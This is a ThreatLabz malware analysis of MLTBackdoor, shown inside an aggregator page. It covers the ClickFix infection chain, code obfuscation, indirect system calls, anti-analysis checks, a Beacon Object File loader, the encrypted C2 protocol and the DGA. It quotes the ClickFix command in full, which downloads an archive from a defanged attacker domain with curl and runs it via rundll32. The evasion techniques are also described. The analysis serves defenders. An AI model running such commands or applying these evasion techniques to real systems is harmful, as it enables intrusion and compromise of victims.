惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

B
Blog RSS Feed
Google DeepMind News
Google DeepMind News
罗磊的独立博客
Martin Fowler
Martin Fowler
博客园_首页
Stack Overflow Blog
Stack Overflow Blog
Last Week in AI
Last Week in AI
The GitHub Blog
The GitHub Blog
B
Blog
C
Check Point Blog
WordPress大学
WordPress大学
G
Google Developers Blog
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
量子位
月光博客
月光博客
U
Unit 42
Engineering at Meta
Engineering at Meta
有赞技术团队
有赞技术团队
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
大猫的无限游戏
大猫的无限游戏
博客园 - 聂微东
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Y
Y Combinator Blog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Vercel News
Vercel News
Application and Cybersecurity Blog
Application and Cybersecurity Blog
博客园 - 【当耐特】
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Jina AI
Jina AI
S
Secure Thoughts
aimingoo的专栏
aimingoo的专栏
D
Darknet – Hacking Tools, Hacker News & Cyber Security
I
Intezer
Latest news
Latest news
V
Vulnerabilities – Threatpost
D
Docker
Attack and Defense Labs
Attack and Defense Labs
Help Net Security
Help Net Security
S
Security @ Cisco Blogs
Forbes - Security
Forbes - Security
MongoDB | Blog
MongoDB | Blog
云风的 BLOG
云风的 BLOG
L
LINUX DO - 热门话题
P
Palo Alto Networks Blog
Cloudbric
Cloudbric
Spread Privacy
Spread Privacy

Security Research | Blog

ClaudeFix: Shared Claude Chats Meet ClickFix | Zscaler Why Do F1 Teams Need Cybersecurity, and What Is AI’s Role? Indirect Prompt Injection Targets AI Agents | ThreatLabz Splunk Enterprise RCE (CVE-2026-20253) | ThreatLabz Edgecution: Malicious Edge Extension Backdoor | ThreatLabz SmartApeSG Supply Chain Attack Targets Okendo | ThreatLabz AI Generated ClickFix Attack Delivers SmartRAT | ThreatLabz What the ThreatLabz 2026 Phishing and Initial Access Report Means for the Public Sector | Zscaler Shai-Hulud: Miasma, Hades, & AI Scanner Evasion | ThreatLabz Zscaler ThreatLabz 2026 Phishing and Initial Access Report When the Scanner Starts Thinking: Learnings from Mythos & GPT 5.5 Cyber in Security Testing | Zscaler OpenClaw Skill Distributes Remcos & GhostLoader | ThreatLabz Tropic Trooper: AdaptixC2 + Custom Beacon | ThreatLabz Do not delete blog (testing) | Zscaler Payouts King Takes Aim at the Ransomware Throne | ThreatLabz The Alibaba Incident and Why Zero Trust Matters More Than Ever In-Memory Loader Drops ScreenConnect | ThreatLabz Supply Chain Attacks Surge in March 2026 | ThreatLabz Claude Code Leak: Critical AI Security Threat 2026 Latest Xloader Obfuscation Code & C2 Protocol | ThreatLabz CVE-2026-20131: Analysis of FMC RCE | ThreatLabz Technical Analysis of SnappyClient | ThreatLabz China-nexus Group Targets Arabian Gulf Region | ThreatLabz Middle East Conflict Fuels Cyber Attacks | ThreatLabz Dust Specter APT Targets Gov’t Officials in Iraq | ThreatLabz APT37 Adds New Tools For Air-Gapped Networks | ThreatLabz GuLoader Malware Obfuscation Techniques Analyzed GuLoader Obfuscation Analysis | ThreatLabz Technical Analysis of Marco Stealer | ThreatLabz Latest Public Sector AI Adoption Trends: What Government, Healthcare, and Education Security Teams Need to Know | Zscaler Operation Neusploit: APT28 Uses CVE-2026-21509 | ThreatLabz 7 Predictions for 2026 | Zscaler SHEETCREEP, FIREPOWER, and MAILCREEP Analysis | ThreatLabz AI is Now Default Enterprise Accelerator: Takeaways from ThreatLabz 2026 AI Security Report | Zscaler GOGITTER, GITSHELLPAD, and GOSHELL Analysis | ThreatLabz Malicious NPM Packages Deliver NodeCordRAT | ThreatLabz What’s Powering Enterprise AI in 2025: ThreatLabz Report Sneak Peek | Zscaler BlindEagle Deploys Caminho and DCRAT | ThreatLabz Technical Analysis of the BlackForce Phishing Kit | ThreatLabz React2Shell RCE Vulnerability (CVE-2025-55182) | ThreatLabz Shai-Hulud V2 Poses Risk to NPM Supply Chain | ThreatLabz Technical Analysis of Matanbuchus 3.0 | ThreatLabz In-Depth Analysis: Water Gamayun APT Multi-Stage Attack Uncovered CVE-2025-50165: Windows Graphics Component Flaw | ThreatLabz Mobile, IoT, and OT Risks Converge in the Public Sector | Zscaler Industry Attacks Surge, Mobile Malware Spreads: The ThreatLabz 2025 Mobile, IoT & OT Report | Zscaler Zscaler Discovers Vulnerability in Keras Models Allowing Arbitrary File Access and SSRF (CVE-2025-12058) | Zscaler F5 Security Incident Advisory | Zscaler Under the Radar: How Non-Web Protocols Are Redefining the Attack Surface | Zscaler SEO Poisoning Targets Ivanti VPN: Credential Theft Alert Cisco Firewall and VPN Zero Day Attacks | ThreatLabz COLDRIVER Adds BAITSWITCH and SIMPLEFIX | ThreatLabz YiBackdoor: Linked to IcedID and Latrodectus | ThreatLabz Technical Analysis of Zloader Updates | ThreatLabz Mitigating Risks from the Shai-Hulud NPM Worm | ThreatLabz Malicious PyPI Packages Deliver SilentSync RAT | ThreatLabz Technical Analysis of SmokeLoader Version 2025 | ThreatLabz Technical Analysis of kkRAT | ThreatLabz APT37: Rust Backdoor & Python Loader | ThreatLabz Anatsa’s Latest Updates | ThreatLabz Termncolor and Colorinal Explained | ThreatLabz GenAI Used to Impersonate Brazil’s Govt Websites | ThreatLabz Tracking Updates to Raspberry Robin | ThreatLabz Ransomware Surges, Extortion Escalates: ThreatLabz 2025 Ransomware Report | Zscaler China-nexus APT Targets the Tibetan Community | ThreatLabz CVE-2025-53770 | ThreatLabz Black Hat SEO Poisoning Search Engine Results For AI | ThreatLabz
Technical Analysis of MLTBackdoor | ThreatLabz
ThreatLabz · 2026-06-09 · via Security Research | Blog

In the following sections, ThreatLabz examines the technical details of MLTBackdoor, including its obfuscation methods, anti-analysis techniques, network protocol, and supported commands.

Initial infection chain

The infection chain begins with a ClickFix lure on an automotive-related web page. If the victim copies, pastes, and executes the ClickFix content, the following commands are executed:

"C:\WINDOWS\system32\conhost.exe" --headless cmd /c "md C:\users\\AppData\Local\Temp\x&curl -skLo C:\users\\AppData\Local\Temp\x\t hxxps://hrs2y15sungu[.]com/d&pushd C:\users\\AppData\Local\Temp\x&tar xf t&del t&rundll32 endpointdlp.dll,#2"

The downloaded file, retrieved from a domain that appears in that day’s domain DGA set (discussed later), is a compressed archive that contains the following files:

  • data.bin
  • endpointdlp.dll

The endpointdlp.dll file decrypts the RC4-encrypted data.bin file, which contains the second stage of the infection chain. The decryption key is stored in its own header and has the following structure:

struct mlt_payload_header
{
   uint32_t payload_size;
   uint8_t  RC4_key[32];
   uint8_t  encrypted_payload[payload_size];                                           
};

The decrypted payload is the MLTBackdoor itself. It first performs a self-update, then reuses the endpointdlp.dll filename and sideloads it via a legitimate signed Microsoft Defender mpextms.exe executable.

Obfuscation and API hashing

MLTBackdoor hinders analysis by using indirect system calls and API hashing, along with different obfuscation methods applied at compilation time using an LLVM-based obfuscator. These methods are described in the following sections.

Mixed Boolean-Arithmetic (MBA)

The Mixed Boolean-Arithmetic (MBA) obfuscation technique takes a normal arithmetic expression like x + y and rewrites it as something mathematically equivalent but much more difficult to follow. For instance, the following figure shows part of the DGA function, where numerous mathematical operations are performed solely to add noise:

MBA obfuscation in MLTBackdoor’s DGA function.

Figure 1: MBA obfuscation in MLTBackdoor’s DGA function.

A single increment turns into several lines. For example:

v275 = 2 * (-163 * v248 - 164 * ~v248) - 328;
v276 = 22*(~v261&~v275) + 24*(v275&v261) + 23*(~v275&v261) + 23*(~v261&v275) + 22;
v277 = 28 * ~(-45*v276 - 46*~v276 - 46) + 29 * (-46*~v276 - 45*v276) - 1306;
v279 = -22*v248 - 22*~v248 - 22;

But if we replace ~x with -x - 1 they collapse, as shown in the table below:

Expression

Simplified

v275 = 2 * (-163 * v248 - 164 * ~v248) - 328;

v275 = 2 * v248

v276 = 22*(~v261&~v275) + 24*(v275&v261) + 23*(~v275&v261) + 23*(~v261&v275) + 22;

v276 = v261 + v275

v277 = 28 * ~(-45*v276 - 46*~v276 - 46) + 29 * (-46*~v276 - 45*v276) - 1306;

v277 = v276

v279 = -22*v248 - 22*~v248 - 22;

v279 = 0

Table 1: Simplified MLTBackdoor MBA examples.

MLTBackdoor makes extensive use of this technique to the point that around 95% of its code is just extra, unnecessary calculations.

Control Flow Flattening (CFF)

MLTBackdoor also uses control flow flattening (CFF). CFF replaces every if/else block with a large while(1){ switch(state) { … }} structure, so a function ends up looking similar to the following figure:

CFF obfuscation in MLTBackdoor’s command-handling function.

Figure 2: CFF obfuscation in MLTBackdoor’s command-handling function.

This method essentially uses a few instructions to transform a straightforward function into something that is difficult to understand. The obfuscator shuffles blocks which obscures execution order with different state assignments.

MLTBackdoor performs two additional steps to complicate analysis further:

  • The state value is stored at stack offset + N (rsp+N) and is XOR’ed before each comparison.
  • The calculation of the next state is wrapped in MBA.

The pseudocode for these steps is shown in the figure below.

Example of MLTBackdoor’s CFF state obfuscation and MBA.

Figure 3: Example of MLTBackdoor’s CFF state obfuscation and MBA.

Stack strings

Unlike most malware families, string values are not encrypted or encoded. Instead the strings are constructed at runtime byte-by-byte on the stack. On its own, this isn’t particularly remarkable, but combined with MBA and CFF it results in fragmented strings. For example, the C2 string may be constructed by calling two functions and stitching them together as follows:

MLTBackdoor stack-based strings constructed in two separate functions and concatenated together.

Figure 4: MLTBackdoor stack-based strings constructed in two separate functions and concatenated together.

Taken together, these routines construct the full cwrtwright[.]com C2 domain. However, because the string is built across a flattened state machine, the only reliable way to recover it is to trace the state transitions, defeating tools like FLOSS that look for consecutive characters in memory.

API resolution

MLTBackdoor resolves everything at runtime (Win32 APIs, system calls, and Beacon Object File symbols) using DJB2 hashing.

The main difference in MLTBackdoor’s API resolution is how it feeds the strings to the algorithm. ThreatLabz observed the following three cases:

  • Normal WinAPI lookups: djb2("WinHttpConnect") → 0x7242C17D
  • Same thing but in lower case: djb2("enumwindows")→ 0xDFAE1D05
  • Prepending the word “Beacon” before hashing the string: djb2("BeaconNtCreateFile") → 0xFDC751A3

Indirect system calls

Many security products hook WinAPI functions to detect abnormal calls or activity. However, by skipping user mode APIs and the kernel32 wrappers around a system call and going directly to the address where the actual system call is made, it’s possible to evade detection. MLTBackdoor follows this approach using a Hell’s Gate-style technique in three steps:

  • Startup builder: When first running, MLTBackdoor walks and matches ntdll exports against a list of 31 “Nt” hashes and builds a runtime table that looks like this:

Hash

SSN

Syscall Gadget Address

0x15A5ECDB (NtCreateFile)

0x55

0x7FFE12340A18 (ntdll + 0x9D2C8)

...

Table 2: Example MLTBackdoor system call table.

  • Wrapper: When it needs to call a Windows API function, MLTBackdoor calls its own wrapper, looks up the provided hash in the table, and retrieves both the system service number (SSN) and the gadget address.
  • Trampoline: Finally, MLTBackdoor jumps to the corresponding ntdll system call address, as shown in the figure below:

MLTBackdoor indirect system call trampoline.

Figure 5: MLTBackdoor indirect system call trampoline.

The full list of kernel “Nt” functions is available in the Appendix.

Anti-analysis

MLTBackdoor includes multiple anti-analysis techniques to detect debuggers and sandboxed environments, but detection does not halt execution.

Instead, MLTBackdoor aggregates the results of 10 distinct checks into a bitmask and sends it as part of its initial request, as described later in the Network communications section. The following table lists the checks and their associated flags:

Bit

Value

Check

Description

0

0x001

Hypervisor check 1

Checks whether the hypervisor bit is set; if so, queries leaf 0x40000000 to get the vendor ID and compares it against these values: VMwareVMware, VBoxVBoxVBox, XenVMMXenVMM and KVMKVMKVM.

1

0x002

Hypervisor check 2

If there are no matches in the previous step and the vendor ID is anything else, including Microsoft HV, it checks whether leaf 0x40000003 has EBX[12] set, allowing Win10/11 hosts with Virtualization-Based Security (VBS) enabled to pass, otherwise it is also flagged

2

0x004

Timing check

Performs a minimum of 5 RDTSC + CPUID  + RDTSC loops to measure the number of cycles required, which can indicate emulation, virtualization, and debugging.

3

0x008

Debugger check

Queries NtQueryInformationProcess with the ProcessDebugPort ProcessInformationClass to detect a debugger.

4

0x010

Process check

Iterates through all the names of the running processes, calculates the SHA256 hash, and compares it against a hardcoded list of hashes (the full list of cracked hashes is available in the Appendix).

5

0x020

Windows title check

Compares a list of stack-built strings (such as x64dbg, x32dbg, ollydbg, windbg, idapro, process monitor, process explorer, wireshark, fiddler, dnspy and cff explorer) to identify window titles retrieved by calling EnumWindows and GetWindowText.

6

0x040

Sandboxes drivers check

Compares drivers loaded with the following name list: vbox, vmci, vmhgfs, virtio, vioscsi, and xenbus.

7

0x080

RAM check

Checks if RAM is below 2GB.

8

0x100

CPU number check

Checks if the number of processors is 1.

9

0x200

Uptime check

Checks whether the uptime is less than 5 minutes.

Table 3: MLTBackdoor anti-analysis checks and flags.

Capabilities

MLTBackdoor includes a small set of built-in commands:

  • download: Grabs a file from the victim’s machine.
  • upload: Drops a file on the victim’s machine.
  • ls: Lists files in a directory.
  • delete: Deletes a file or folder.
  • rename: Renames or moves a file or folder.
  • mkdir: Creates a new folder.

What really increases MLTBackdoor’s capabilities, however, is the BOF loader functionality.

Beacon Object File loader

A Beacon Object File (BOF) is a Microsoft Common Object File Format (MS-COFF) compiled file, containing sections, a symbol table, and relocations, that malware can map and execute within its own process, then free. Using BOFs for post-exploitation tasks was first popularized by Cobalt Strike, and there are now hundreds of community-made BOFs for a wide range of tasks.

MLTBackdoor’s BOF dispatcher follows these steps:

  1. Creates one memory block per section.
  2. Walks the COFF symbol table.
  3. Applies relocations per section.
  4. Changes section permissions to read and execute (RX) only.
  5. Handles crashes and returns them as result.
  6. Locates the entry point in the symbol table.
  7. Removes and frees allocated memory.

MLTBackdoor’s BOF loader is compatible with Cobalt Strike beacons that rely on the small subset of DJB2-hashed imports shown in the table below:

DJB2 Hash 

Resolved Import

0xE2494BA2

BeaconDataParse

0xAF1AFDD2

BeaconDataInt

0xE2835EF7

BeaconDataShort

0x22641D29

BeaconDataLength

0x80D46722

BeaconDataExtract

0x700D8660

BeaconPrintf

0x6DF4B81E

BeaconOutput

Table 4: MLTBackdoor BOF imports.

What differentiates this BOF loader is that, in addition to the small set of imports above, it includes 19 additional cases that route calls to MLTBackdoor’s own indirect system call wrappers described in the previous sections. These are shown in the table below:

DJB2 Hash 

Resolved System Call Wrapper

0xA7AF9B14

BeaconNtAllocateVirtualMemory

0xB4C56190

BeaconNtProtectVirtualMemory

0xEAB1DBB1

BeaconNtFreeVirtualMemory

0xD9C35B05

BeaconNtClose

0xFDC751A3

BeaconNtCreateFile

0x880DE2E1

BeaconNtOpenFile

0xF4092DAB

BeaconNtReadFile

0x4A37127A

BeaconNtWriteFile

0xF3C1F72B

BeaconNtQueryInformationFile

0x85066141

BeaconNtSetInformationFile

0xBF82EC3A

BeaconNtQueryDirectoryFile

0x31E64470

BeaconNtQuerySystemInformation

0x1BEC4F21

BeaconNtOpenProcessToken

0x6D017A0C

BeaconNtQueryInformationToken

0xD163364C

BeaconNtCreateKey

0xFC5D97CA

BeaconNtOpenKey

0xE17B5121

BeaconNtSetValueKey

0x4BBA2AC8

BeaconNtDeleteValueKey

0x6AB423AB

BeaconNtDeleteKey

Table 5: Indirect system calls beacon imports supported by MLTBackdoor.

Network communication

MLTBackdoor uses a custom encrypted binary protocol over TLS on port 443 with a fixed path (/api/v1/telemetry) and User-Agent (Microsoft-Delivery-Optimization/10.1) to masquerade as legitimate traffic. Network communications are encrypted using an Elliptic-Curve Diffie-Hellman (ECDH) key exchange with NIST curve P‑256 to generate a shared secret. MLTBackdoor generates a new key-pair per session, and performs ECDH with a P‑256 public key shared by the C2 server. The result is concatenated to both the session’s public key and the C2 server’s public key, and then hashed with SHA256 to derive the shared secret, which is then used as an AES-256-GCM session key. All subsequent messages are then encrypted with this AES session key with a random 12 byte nonce.

Some MLTBackdoor samples use hardcoded stack-built C2 domains in combination with a DGA, while others rely on either hardcoded domains or the DGA alone. The DGA is designed to maintain control of infected systems if the C2s are unreachable. An MLTBackdoor DGA script, including DGA domains through July 2025, is available in the ThreatLabz GitHub repository.

Domain Generation Algorithm (DGA)

MLTBackdoor’s DGA algorithm is a deterministic date-based algorithm that generates a new domain per day. The DGA algorithm is shown below in Python:

code sample

Interestingly, the domain created for April 29, 2026 (hrs2y15sungu[.]com) was used not only for C2 communication, but also used for the distribution campaign that day, as explained in the Initial infection chain section.

MLT name origin

ThreatLabz dubbed the name, MLTBackdoor, based on the first 4 magic bytes of the network communication protocol’s header. The header, which is present in every communication (client- and server-side) follows the structure below:

struct mlt_packet_header
{
   uint32_t magic;
   uint32_t session_id;
   uint32_t msg_type;
   uint32_t payload_len;
   uint8_t  nonce[12];
   uint8_t  unknown[4];
};

The magic bytes are 0x014D4C54 (or \x01MLT). The session_id consists of 4 random bytes generated via BCryptGenRandom (regenerated on each handshake). The supported msg_type values are shown in the table below:

Direction

Message Type

Description

Client -> Server

1

Check-in containing host information.

Server -> Client

2

Sends a BOF task.

Server -> Client

3

Sends a sleep command.

Server -> Client

4

Exit process.

Client -> Server

5

Command execution result.

Both directions

6

Elliptic-Curve Diffie–Hellman (ECDH) key exchange.

Server -> Client 

7

Download file.

Client -> Server

8

File data sent.

Server -> Client

9

Upload file.

Server -> Client

10

Unknown.

Server -> Client

11

ls command.

Client -> Server

12

Directory listing.

Server -> Client

13

delete command.

Server -> Client

14

rename command.

Server -> Client

15

mkdir command.

Client -> Server

16

BOF stdout.

Table 6: MLTBackdoor protocol message types.

As mentioned above, MLTBackdoor uses ECDH to generate a shared secret that is used as an AES session key. In order to perform the key exchange, MLTBackdoor first sends the session’s P-256 public key to the C2 server with the following structure:

struct mlt_handshake_request
{
   struct   mlt_packet_header;
   uint8_t  client_p256_x[32];
   uint8_t  client_p256_y[32];
   uint32_t anti_analysis_flags;
};

Below, is an example message in this format:

Example MLTBackdoor ECDH key exchange message.

Figure 6: Example MLTBackdoor ECDH key exchange message.

Once this key exchange is complete, MLTBackdoor uses the shared AES-256-GCM key to encrypt and decrypt subsequent messages. Each packet includes an encrypted payload immediately following the header, using the structure shown below:

struct mlt_packet
{
   struct   mlt_packet_header;
   uint8_t  ciphertext[payload_len];
   uint8_t  aes_gcm_tag[16];
};